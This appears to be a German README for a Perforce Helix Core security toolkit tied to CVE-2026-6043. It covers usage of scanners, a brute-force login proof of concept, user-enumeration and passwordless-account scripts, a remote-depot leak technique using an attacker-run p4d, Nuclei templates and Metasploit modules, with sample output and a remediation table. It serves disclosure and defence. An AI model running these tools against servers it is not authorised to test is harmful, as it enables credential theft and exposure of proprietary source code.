
Perforce Sicherheitsforschung und -werkzeuge - CVE-2026-6043
Sicherheitsforschungstools und Nuclei-Vorlagen für Perforce (Helix Core).
Forschungsartikel: https://morganrobertson.net/p4wned/
Bitte lesen Sie die obigen Informationen für vollständige Details.
Nur für autorisierte Ziele. Verwenden Sie es nur auf Ihren eigenen Servern oder mit ausdrücklicher schriftlicher Genehmigung.
Zielgruppe: Perforce-Serveradministratoren, Penetrationstester, Sicherheitsingenieure
Update Mai 2026: Perforce 2026.1 wurde veröffentlicht. Diese Version wird mit sicheren Standardeinstellungen ausgeliefert! Sehr erfreut, diese Veröffentlichung zum Schutz von Entwickler-IP zu sehen. Mehr dazu hier.
Hinweis: Diese Tools suchen nach den Fehlkonfigurationen, die aus CVE-2026-6043 resultieren.
| Tool | Erfordert |
|---|---|
p4wned.py | Python 3, p4 CLI-Binärdatei (siehe unten) |
p4ghost.py | Python 3, p4 CLI-Binärdatei, lokale p4d-Instanz (siehe Setup unten) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (siehe p4-auth-hammer/README.md) |
| JavaScript-Tools | Node.js (keine externen Abhängigkeiten) |
| Nuclei-Vorlagen | Nuclei v3+ |
| Metasploit-Module | Metasploit Framework |
Beschaffung der p4-Binärdatei (erforderlich für p4wned.py und p4ghost.py):
# Unterliegt den Perforce-Nutzungsbedingungen: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Perforce-Server exponieren ein benutzerdefiniertes binäres TCP-Protokoll (Standardport 1666). Viele Installationen werden mit unsicheren Standardeinstellungen ausgeliefert – unauthentifizierte Benutzerauflistung, Serverinformationspreisgabe, zugängliche Remote-Depots, keine Passwortanforderungen und keine Ratenbegrenzung bei Anmeldeversuchen. Alle hier aufgeführten Tools nutzen diese Standardeinstellungen ohne Anmeldeinformationen aus.
Der primäre Scanner. Verwendet die p4 CLI-Binärdatei, um Benutzer aufzulisten, Anmeldeinformationen zu testen, Depots aufzulisten und einen Bericht zu erstellen.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Optionen:
| Flag | Beschreibung |
|---|---|
-brute | Aktiviert den Brute-Force-Modus – testet Passwörter gegen alle entdeckten Benutzerkonten |
-audit | Gründlicher Prüfmodus – testet alle Benutzer weiter, auch nachdem eine Sicherheitslücke gefunden wurde |
-parallel N | Anzahl paralleler Passwortversuche (Standard: 1) |
Konfiguration (am Anfang des Skripts bearbeiten):
Was es macht:
run.users.authorize=0)super-Gruppenmitgliedschaft bei kompromittierten KontenKonsolenausgabe:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
Berichtsdatei (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Testet auf unauthentifizierten Remote-Depot-Zugriff über den versteckten remote-Benutzer. Der Exploit funktioniert, indem eine angreifergesteuerte p4d-Instanz lokal ausgeführt wird – der Zielserver verbindet sich als Teil des Server-zu-Server-Protokolls zurück zu dieser Instanz und gibt dabei seine Depot-Dateiauflistung preis.
Setup (einmalig):
# Unterliegt den Perforce-Nutzungsbedingungen: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Einen einfachen ASCII-p4d auf Port 1818 starten (wird als Angreiferserver verwendet)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Einen Unicode-p4d auf einem separaten Port (1819) für Unicode-Ziele starten
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # In Unicode-Modus konvertieren
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Beispielaufruf mit den lokalen Angreiferservern von oben
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Argumente:
Betroffene Versionen: Alle Versionen unter 2025.1 mit security < 4 (Standard ist 0).
Proof-of-Concept, das demonstriert, dass p4d Authentifizierungsversuche nicht effektiv ratenbegrenzt, wenn security < 3 ist. Erreicht >300.000 Anmeldeversuche pro Minute gegen ein einzelnes Konto unter Verwendung der Perforce C++ API.
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
Build (erfordert Perforce C++ API und OpenSSL 1.1.1 – vollständiges Setup siehe p4-auth-hammer/README.md):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
Modi:
security < 3). Ratenbegrenzung wird vollständig umgangen. >300.000 Versuche/Min.-ticketauth: Ticketbasierte Anmeldung (security >= 3). Ratenbegrenzung (dm.user.loginattempts) ist auf dieser Stufe aktiv.Erkennt automatisch SSL- und Unicode-Server. Stimmt die Thread-Anzahl automatisch auf maximalen Durchsatz ab.
Abhilfe: p4 configure set security=3 (oder 4). Vollständige Details siehe p4-auth-hammer/README.md.
Eigenständige Node.js-Skripte. Keine Abhängigkeiten außer der Node.js-Standardbibliothek. Alle Skripte erkennen automatisch SSL vs. einfaches TCP sowie ASCII- vs. Unicode-Servermodus – keine Flags erforderlich.
Zieldateiformat: host:port eine pro Zeile, Port standardmäßig 1666, wenn nicht angegeben. Zeilen, die mit # beginnen, werden ignoriert.
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
Automatische Erkennung: Zuerst wird einfaches TCP versucht. Wenn der Server mit der Perforce-SSL-Fehlermeldung ("Failed client connect, server using SSL") antwortet, wird die Verbindung über TLS mit rejectUnauthorized: false (akzeptiert selbstsignierte Zertifikate) wiederholt. Zuerst wird der ASCII-Modus versucht; wenn der Server die Unicode-Fehlermeldung zurückgibt, wird die Verbindung mit dem Parameter unicode wiederholt.
Nutzt run.users.authorize=0 (Standard) aus, um alle Benutzerkonten ohne Authentifizierung aufzulisten.
node javascript/perforce-users.js [targets_file]
Ausgabe: [host:port] [tcp|ssl] username <email> "Full Name"
Nutzt dm.info.hide=0 (Standard) aus, um Serverversion, interne Adresse, Root-Pfad und Lizenzstring zu extrahieren.
node javascript/perforce-info.js [targets_file]
Ausgabe:
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
Findet Benutzerkonten ohne festgelegtes Passwort. Verwendet das getaggte Ausgabeformat (tag-Parameter), um das Fehlen des Feldes Password in Benutzerdatensätzen zu erkennen. Passwortlose Konten erlauben direkte unauthentifizierte Anmeldung.
node javascript/perforce-passwordless.js [targets_file]
Ausgabe: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"
Nutzt den versteckten remote-Benutzer über den rmt-DbPipe Server-zu-Server-RPC aus, um die Tabelle db.rev direkt zu lesen und Depot-Dateipfade sowie Änderungsnummern ohne Authentifizierung zu extrahieren. Betroffene Versionen: unter 2025.1 mit security < 4.
node javascript/perforce-remote.js [targets_file]
Ausgabe:
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Extrahiert globale Schlüssel/Zählerwerte von Perforce-Servern. Schlüssel können Build-Nummern, interne Versionsstrings und Konfiguration enthalten.
node javascript/perforce-keys.js [targets_file]
Ausgabe: [host:port] [tcp|ssl] keyname = value
Vorlagen für Nuclei. Alle Vorlagen verwenden einen TCP-Gate-Schritt, um zu bestätigen, dass ein Perforce-Server vorhanden ist, bevor die JavaScript-Nutzlast ausgeführt wird. Die Vorlagen verwenden denselben automatischen Erkennungsansatz wie die JavaScript-Tools.
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| Vorlage | ID | Beschreibung |
|---|---|---|
perforce-detect.yaml | perforce-detection | Erkennt Perforce-Server über binären Protokoll-Handshake. Schweregrad: info. |
Einschränkungen: Keine SSL-Unterstützung, nur Port 1666. Siehe JavaScript-Tools für mehr.
Drei auxiliary scanner-Module für das Metasploit Framework, plus eine gemeinsam genutzte Bibliotheksmixin, die das binäre Perforce-Protokoll handhabt. Diese Module decken dieselben Sicherheitslücken ab wie die eigenständigen Tools oben – Benutzeraufzählung, Erkennung passwortloser Konten und Remote-Depot-Ausnutzung.
Alle Module erkennen automatisch ASCII- vs. Unicode-Servermodus. SSL wird unterstützt.
| Modul | Beschreibung |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum |
Die Quelldateien befinden sich im Verzeichnis metasploit/. Ein PR wurde an das Metasploit Framework übermittelt.
Kurzreferenz zur Abhilfe:
| Variable | Beschreibung |
|---|
INPUT_FILE | Zielliste (ip:port, eine pro Zeile) – Standard perforce-servers.txt |
P4_CMD | Pfad zur p4-Binärdatei – Standard ./p4 |
TOP_PASSWORDS_FILE | Wortliste für Brute-Force – Standard top-passwords.txt |
KNOWN_CREDS_FILE | Bekannte Anmeldeinformationspaare, die zuerst versucht werden |
REPORT_FILE | Pfad zum Ausgabebericht |
| Flag | Beschreibung |
|---|
input_file | Zielliste (ip:port, eine pro Zeile) |
-skipnolicense | Überspringt Server, die Server license: none zurückgeben |
-report FILE | Pfad zum Ausgabebericht |
-p4cmd PATH | Pfad zur p4-Binärdatei (Standard ./p4) |
-unicodeport PORT | Lokaler Unicode-p4d-Port, der als Angreiferserver verwendet wird |
-nonunicodeport PORT | Lokaler Nicht-Unicode-p4d-Port |
-timeout SECS | Befehlstimeout |
| Vorlage | ID | Schweregrad | CVSS | Beschreibung |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | Mittel | 5.3 | Unauthentifizierte Benutzerauflistung – ASCII- und Unicode-Server. Extrahiert Benutzernamen, E-Mails, vollständige Namen. |
perforce-info-disclosure.yaml | perforce-info-disclosure | Mittel | 5.3 | Serverinformationspreisgabe – Version, interne Adresse, Root-Pfad, Lizenz. |
perforce-passwordless-users.yaml | perforce-passwordless-users | Kritisch | 9.1 | Findet Konten ohne festgelegtes Passwort. |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | Hoch | 7.5 | Remote-Depot-Zugriff über remote-Benutzer – ASCII- und Unicode-Server. Extrahiert Dateipfade und Änderungsnummern. Betroffen: < 2025.1 mit security < 4. |
| Unauthentifizierte Benutzerauflistung – extrahiert Benutzernamen, E-Mails, vollständige Namen und letzte Zugriffszeiten. |
auxiliary/scanner/perforce/perforce_passwordless | Erkennt Konten ohne festgelegtes Passwort. |
auxiliary/scanner/perforce/perforce_remote_depot | Remote-Depot-Dateiauflistung über den versteckten remote-Benutzer. Betroffen: < 2025.1 mit security < 4. |
| Fund | Lösung |
|---|
| Benutzeraufzählung | p4 configure set run.users.authorize=1 |
| Informationspreisgabe | p4 configure set dm.info.hide=1 |
| Passwortlose Benutzer | Setzen Sie Passwörter für alle Konten; p4 configure set dm.user.noautocreate=2 |
| Remote-Depot-Zugriff | Upgrade auf 2025.1+, oder p4 configure set security=4 |
| Authentifizierungsratenbegrenzung | p4 configure set security=3 (aktiviert effektive Sperrung über dm.user.loginattempts) |
| Alles oben Genannte | p4 configure set security=4 plus die einzelnen Einstellungen oben – security=4 behebt den Remote-Exploit, verbirgt jedoch keine Benutzerlisten oder Serverinformationen |